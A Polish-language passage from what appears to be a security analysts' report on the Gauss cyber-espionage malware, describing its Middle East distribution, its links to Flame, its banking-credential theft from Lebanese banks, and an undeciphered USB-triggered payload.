Rozkład geograficzny dystrybucji Gaussa jest dość nietypowy; większość infekcji została odnotowana w Libanie, Palestynie i Izraelu. Jeden z modułów szkodnika, pochodzący ze stycznia 2012 r., zawiera ścieżkę dostępu "c:\documents and settings\flamer\desktop\gauss_white_1". Fraza "flamer" w podanej ścieżce dostępu to nazwa użytkownika, który skompilował projekt. Biorąc pod uwagę koncentrację projektu na Libanie, identyfikator wersji "white" (BIAŁY) może być z dużym prawdopodobieństwem wytłumaczony tą definicją: "Nazwa Liban (w standardowym języku arabskim „Lubnan”; „Lebnan” albo „Lebnen” w lokalnym dialekcie) ma swoje źródło w semickim „LBN”, które łączy się z kilkoma słowami bliskoznacznymi w różnych językach, takimi jak BIAŁY czy mleko. Stanowi to odniesienie do pokrytych śniegiem Gór Libanu" (http://pl.wikipedia.org/wiki/Liban).

Referencje kodu i procedury szyfrowania, wraz z infrastrukturą centrum kontroli, wskazują wyraźnie, że Gauss został wyprodukowany przez tę samą "fabrykę", która stworzyła Flame'a. A to wskazuje, że jest to najprawdopodobniej operacja sponsorowana przez rząd (lub rządy).

Pośród funkcji Gaussa znajduje się moduł "Winshell.ocx" (nadający nazwę całemu projektowi), który kradnie poświadczenia wymagane przy dostępie online do kont bankowych w kilku libańskich bankach, m. in. Bank of Beirut, Byblos Bank i Fransabank. Jest to pierwszy, ujawniony publicznie, trojan bankowy finansowany przez rząd.

Kolejną funkcją, która czyni Gaussa "produktem" unikatowym, jest zaszyfrowany ładunek, którego nie byliśmy w stanie odszyfrować. Ładunek jest uruchamiany przez zainfekowane urządzenia USB i został zaprojektowany do niezwykle selektywnego dobierania ofiar - z chirurgiczną precyzją celuje w system (lub systemy), na którym znajduje się określony program. Można tylko spekulować na temat przeznaczenia tego tajemniczego ładunku.

Wykrycie Gaussa wskazuje na to, że "na wolności" operuje dużo więcej szkodliwego oprogramowania zorientowanego na cyberszpiegostwo. Eskalacja konfliktów i niepewność na Bliskim Wschodzie to ewidentne znaki intensywności bieżących kampanii cyberszpiegowskich i narastającej cyberwojny.